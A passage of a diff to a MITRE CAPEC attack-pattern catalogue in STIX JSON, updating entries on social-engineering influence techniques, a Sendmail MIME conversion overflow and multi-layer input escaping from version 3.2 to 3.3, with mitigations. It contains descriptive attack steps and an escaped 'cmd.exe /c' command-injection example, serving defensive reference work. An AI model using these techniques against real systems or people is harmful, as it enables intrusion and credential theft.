Manipulation techniques vary from the overt, such as pretending to be a supervisor to a help desk, to the subtle, such as making the target feel comfortable with the adversary's speech and thought patterns.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -23999,24 +25556,25 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--756dbec1-5182-44f6-a59e-093c4b3f451e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--756dbec1-5182-44f6-a59e-093c4b3f451e", "source_ref": "course-of-action--e2e37142-f4ef-407a-a43e-f0e3ecad8596", "relationship_type": "mitigates", "target_ref": "attack-pattern--eedaef1c-c3fb-4135-a1b5-4b186b9da854" }, { + "id": "attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5", "name": "Influence Perception", "description": "The adversary uses social engineering to exploit the target's perception of the relationship between the adversary and themselves. This goal is to persuade the target to unknowingly perform an action or divulge information that is advantageous to the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24067,11 +25625,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", @@ -24080,23 +25638,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.", - "type": "course-of-action", - "id": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6f1bc7a7-fc63-4847-b2bf-ad73c7d19b20", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6f1bc7a7-fc63-4847-b2bf-ad73c7d19b20", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--af1a9e65-4ca7-4551-b1de-6192539652c5" }, { + "id": "attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c", "name": "Influence Perception of Reciprocation", "description": "An adversary uses a social engineering techniques to produce a sense of obligation in the target to perform a certain action or concede some sensitive or key piece of information. Obligation has to do with actions one feels they need to take due to some sort of social, legal, or moral requirement, duty, contract, or promise. There are various techniques for fostering a sense of obligation to reciprocate or concede during ordinary modes of communication. One method is to compliment the target, and follow up the compliment with a question. If performed correctly the target may volunteer a key piece of information, sometimes involuntarily.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24150,24 +25710,25 @@ "An adversary develops a relationship with the target to foster a feeling of obligation in them to perform a certain action or concede some information. A perception of obligation/concession means that the target feels they need to behave in some way or perform some sort of action due to being morally or legally bound to do so." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--04915a3b-b205-4fc6-8701-3035bdceff35", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04915a3b-b205-4fc6-8701-3035bdceff35", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--180aa01f-65a0-4400-a174-7b0f1605db0c" }, { + "id": "attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628", "name": "DEPRECATED: Target Influence via Perception of Concession", "description": "This attack pattern has been deprecated as it was deemed not to be a legitimate pattern.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24185,11 +25746,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c5724646-0a5b-4b60-b0e2-6c445a744628" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7", "name": "MIME Conversion", "description": "An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24270,12 +25831,13 @@ "x_capec_example_instances": [ "\n Attack Example: Sendmail Overflow\n A MIME conversion buffer overflow exists in Sendmail versions 8.8.3 and 8.8.4. Sendmail versions 8.8.3 and 8.8.4 are vulnerable to a buffer overflow in the MIME handling code. By sending a message with specially-crafted headers to the server, a remote attacker can overflow a buffer and execute arbitrary commands on the system with root privileges.\n Sendmail performs a 7 bit to 8 bit conversion on email messages. This vulnerability is due to the fact that insufficient bounds checking was performed while performing these conversions. This gave attacker an opportunity to overwrite the internal stack of sendmail while it is executing with root privileges. An attacker first probes the target system to figure out what mail server is used on the system and what version. An attacker could then test out the exploit at their leisure on their own machine running the same version of the mail server before using it in the wild.See also: CVE-1999-0047" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine whether the mail server is unpatched and is potentially vulnerable to one of the known MIME conversion buffer overflows (e.g. Sendmail 8.8.3 and 8.8.4).

  2. Identify places in the system where vulnerable MIME conversion routines may be used.

Exploit

  1. Send e-mail messages to the target system with specially crafted headers that trigger the buffer overflow and execute the shell code.

", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--6db12259-6932-4e8f-9abb-ef1ac7a34727", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -24284,23 +25846,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Stay up to date with third party vendor patches", - "type": "course-of-action", - "id": "course-of-action--6db12259-6932-4e8f-9abb-ef1ac7a34727" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3b0ebb42-718a-4b46-8ffb-8ce77603ff60", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3b0ebb42-718a-4b46-8ffb-8ce77603ff60", "source_ref": "course-of-action--6db12259-6932-4e8f-9abb-ef1ac7a34727", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7" }, { + "id": "course-of-action--0d0e8c85-a2de-43ee-aa5a-3fb5d75c14c8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -24309,23 +25873,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Disable the 7 to 8 bit conversion. This can be done by removing the F=9 flag from all Mailer specifications in the sendmail.cf file.\n For example, a sendmail.cf file with these changes applied should look similar to (depending on your system and configuration):\n Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn, S=10/30, R=20/40,T=DNS/RFC822/X-Unix,A=mail -d $u\n Mprog, P=/bin/sh, F=lsDFMoqeu, S=10/30, R=20/40,D=$z:/,T=X-Unix,A=sh -c $u\n \n This can be achieved for the \"Mlocal\" and \"Mprog\" Mailers by modifying the \".mc\" file to include the following lines:\n define(`LOCAL_MAILER_FLAGS',ifdef(`LOCAL_MAILER_FLAGS',`translit(LOCAL_MAILER_FLAGS, `9')',`rmn'))\n \n define(`LOCAL_SHELL_FLAGS',ifdef(`LOCAL_SHELL_FLAGS',`translit(LOCAL_SHELL_FLAGS, `9')',`eu'))\n \n \n and then rebuilding the sendmail.cf file using m4(1).\n From \"Exploiting Software\", please see reference below.\n ", - "type": "course-of-action", - "id": "course-of-action--0d0e8c85-a2de-43ee-aa5a-3fb5d75c14c8" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--18e17e6e-01e3-4366-b0e4-b7165a45dfdb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--18e17e6e-01e3-4366-b0e4-b7165a45dfdb", "source_ref": "course-of-action--0d0e8c85-a2de-43ee-aa5a-3fb5d75c14c8", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7" }, { + "id": "course-of-action--6de86e67-2849-4490-9556-799ba134737f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -24334,23 +25900,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use the sendmail restricted shell program (smrsh)", - "type": "course-of-action", - "id": "course-of-action--6de86e67-2849-4490-9556-799ba134737f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--011efc3d-4f04-4a7a-9a14-95f8855cbd0b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--011efc3d-4f04-4a7a-9a14-95f8855cbd0b", "source_ref": "course-of-action--6de86e67-2849-4490-9556-799ba134737f", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7" }, { + "id": "course-of-action--22ba1687-e539-480a-897e-2480bbfcdcdb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", @@ -24359,23 +25927,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use mail.local", - "type": "course-of-action", - "id": "course-of-action--22ba1687-e539-480a-897e-2480bbfcdcdb" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--273ca915-2a10-4a89-8347-e45deeb8176d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2014-06-23T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--273ca915-2a10-4a89-8347-e45deeb8176d", "source_ref": "course-of-action--22ba1687-e539-480a-897e-2480bbfcdcdb", "relationship_type": "mitigates", "target_ref": "attack-pattern--3c08bb9d-43b5-4468-8b38-387c6cb60da7" }, { + "id": "attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb", "name": "Influence Perception of Scarcity", "description": "The adversary leverages a perception of scarcity to persuade the target to perform an action or divulge information that is advantageous to the adversary. By conveying a perception of scarcity, or a situation of limited supply, the adversary aims to create a sense of urgency in the context of a target's decision-making process.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24424,24 +25994,25 @@ "An adversary sends an email to a target about a limited-time opportunity to claim a considerable monetary reward. The email contains a link to a site which the adversary says is only active for a short time and to the first person to claim it. By convincing the user of the scarcity of the monetary reward, the adversary aims to persuade them to click on the malicious link in the email." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--6ee824b4-e2c0-4406-b7d9-9455b31c810c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6ee824b4-e2c0-4406-b7d9-9455b31c810c", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--490d66db-ab96-48b4-ad40-8625319530eb" }, { + "id": "attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c", "name": "Influence Perception of Authority", "description": "An adversary uses a social engineering technique to convey a sense of authority that motivates the target to reveal specific information or take specific action. There are various techniques for producing a sense of authority during ordinary modes of communication. One common method is impersonation. By impersonating someone with a position of power within an organization, an adversary may motivate the target individual to reveal some piece of sensitive information or perform an action that benefits the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24449,7 +26020,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -24487,27 +26058,28 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "The adversary calls the target and announces that he is the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and he/she needs the target's login credentials for their account. By convincing the target of his/her authority, the adversary hopes the target will reveal the sensitive information." + "The adversary calls the target and announces that they are the head of IT at the target's company. The adversary goes on to say that there has been a technical issue and they need the target's login credentials for their account. By convincing the target of their authority, the adversary hopes the target will reveal the sensitive information." ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--73e7aab7-ed20-4616-ae8f-4708e16de84c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--73e7aab7-ed20-4616-ae8f-4708e16de84c", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--effcb600-1cb5-4601-baa6-cb8fc02d586c" }, { + "id": "attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35", "name": "Influence Perception of Commitment and Consistency", "description": "An adversary uses social engineering to convince the target to do minor tasks as opposed to larger actions. After complying with a request, individuals are more likely to agree to subsequent requests that are similar in type and required effort.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24553,11 +26125,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--0deb99ae-9233-4163-bda3-d80ba58722e5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", @@ -24566,31 +26138,33 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.\n Individuals should avoid complying with suspicious requests.\n ", - "type": "course-of-action", - "id": "course-of-action--0deb99ae-9233-4163-bda3-d80ba58722e5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--94fcde72-bfef-4e8c-8a92-bb877535286a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--94fcde72-bfef-4e8c-8a92-bb877535286a", "source_ref": "course-of-action--0deb99ae-9233-4163-bda3-d80ba58722e5", "relationship_type": "mitigates", "target_ref": "attack-pattern--ef383edc-9f3a-405f-9406-3bd186551d35" }, { + "id": "attack-pattern--57a56016-e387-456e-badf-a60523e58277", "name": "Influence Perception of Liking", - "description": "The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate his or herself with the target via actions, appearance, or a combination thereof.", + "description": "The adversary influences the target's actions by building a relationship where the target has a liking to the adversary. People are more likely to be influenced by people of whom they are fond, so the adversary attempts to ingratiate themself with the target via actions, appearance, or a combination thereof.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -24625,24 +26199,25 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--57a56016-e387-456e-badf-a60523e58277" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--e3cc5859-4cd7-4218-ad1f-c7047264db33", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e3cc5859-4cd7-4218-ad1f-c7047264db33", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--57a56016-e387-456e-badf-a60523e58277" }, { + "id": "attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69", "name": "Influence Perception of Consensus or Social Proof", "description": "The adversary influences the target's actions by leveraging the inherent human nature to assume behavior of others is appropriate. In situations of uncertainty, people tend to behave in ways they see others behaving. The adversary convinces the target of adopting behavior or actions that is advantageous to the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24685,24 +26260,25 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--e6e89355-28b2-4f0e-be9d-bdaab0213673", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e6e89355-28b2-4f0e-be9d-bdaab0213673", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--d8a0c0f1-dc07-49d4-9d4a-e96e526a4c69" }, { + "id": "attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035", "name": "Target Influence via Framing", "description": "An adversary uses framing techniques to contextualize a conversation so that the target is more likely to be influenced by the adversary's point of view. Framing is information and experiences in life that alter the way we react to decisions we must make. This type of persuasive technique exploits the way people are conditioned to perceive data and its significance, while avoiding negative or avoidance responses from the target. Rather than a specific technique framing is a methodology of conversation that slowly encourages the target to adopt to the adversary's perspective. One technique of framing is to avoid the use of the word \"No\" and to contextualize responses in a manner that is positive. When performed skillfully the target is much more likely to volunteer information or perform actions favorable to the adversary.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24739,11 +26315,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--fb15b1dd-0fb8-4127-9b53-0cc77118f26d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", @@ -24752,23 +26328,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n An organization should provide regular, robust cybersecurity training to its employees to prevent social engineering attacks.\n Avoid sharing unnecessary information during interactions beyond what is absolutely required for effective communication.\n ", - "type": "course-of-action", - "id": "course-of-action--fb15b1dd-0fb8-4127-9b53-0cc77118f26d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4583a0c5-6061-4792-bbf4-0071618f3c23", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4583a0c5-6061-4792-bbf4-0071618f3c23", "source_ref": "course-of-action--fb15b1dd-0fb8-4127-9b53-0cc77118f26d", "relationship_type": "mitigates", "target_ref": "attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035" }, { + "id": "attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132", "name": "Influence via Incentives", "description": "The adversary incites a behavior from the target by manipulating something of influence. This is commonly associated with financial, social, or ideological incentivization. Examples include monetary fraud, peer pressure, and preying on the target's morals or ethics. The most effective incentive against one target might not be as effective against another, therefore the adversary must gather information about the target's vulnerability to particular incentives.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24811,24 +26389,25 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--f6433a46-1658-4501-a2d5-69157cd29ad6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f6433a46-1658-4501-a2d5-69157cd29ad6", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--346d34f3-13e5-4d95-8e96-4b381e76e132" }, { + "id": "attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030", "name": "Influence via Psychological Principles", "description": "The adversary shapes the target's actions or behavior by focusing on the ways human interact and learn, leveraging such elements as cognitive and social psychology. In a variety of ways, a target can be influenced to behave or perform an action through capitalizing on what scholarship and research has learned about how and why humans react to specific scenarios and cues.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24871,24 +26450,25 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--c110197f-03b6-4bd2-8fc6-22c90a73c5e9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-08-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c110197f-03b6-4bd2-8fc6-22c90a73c5e9", "source_ref": "course-of-action--9ce44430-81de-4c5a-8458-402f622af40a", "relationship_type": "mitigates", "target_ref": "attack-pattern--9e487767-c1e6-45f9-ae01-1fb1e2d6f030" }, { + "id": "attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b", "name": "Influence via Modes of Thinking", "description": "The adversary tailors their communication to the language and thought patterns of the target thereby weakening barriers or reluctance to communication. This method is a way of building rapport with a target by matching their speech patterns and the primary ways or dominant senses with which they make abstractions. This technique can be used to make the target more receptive to sharing information because the adversary has adapted their communication forms to match those of the target. When skillfully employed, the target is likely to be unaware that they are being manipulated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24913,11 +26493,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6297aac6-1e4d-4c28-9268-52f70584ec5b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a", "name": "Target Influence via Eye Cues", "description": "The adversary gains information via non-verbal means from the target through eye movements.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24942,11 +26522,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--bbd4f017-9a98-495c-889f-68d85aca375a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb", "name": "Exploiting Multiple Input Interpretation Layers", "description": "An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a \"layer\" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: --> --> . In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -24954,7 +26534,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -25048,59 +26628,63 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n Using Escapes\n The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to \"double escape\" the backslash. In some cases, a quadruple escape is necessary.\n Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c\n \n Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c\n \n Final String: C:\\winnt\\system32\\cmd.exe /c\n This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string.\n [R.43.1][REF-2]\n " + "\n Using Escapes\n The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to \"double escape\" the backslash. In some cases, a quadruple escape is necessary.\n Original String: C:\\\\\\\\winnt\\\\\\\\system32\\\\\\\\cmd.exe /c\n \n Interim String: C:\\\\winnt\\\\system32\\\\cmd.exe /c\n \n Final String: C:\\winnt\\system32\\cmd.exe /c\n This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is 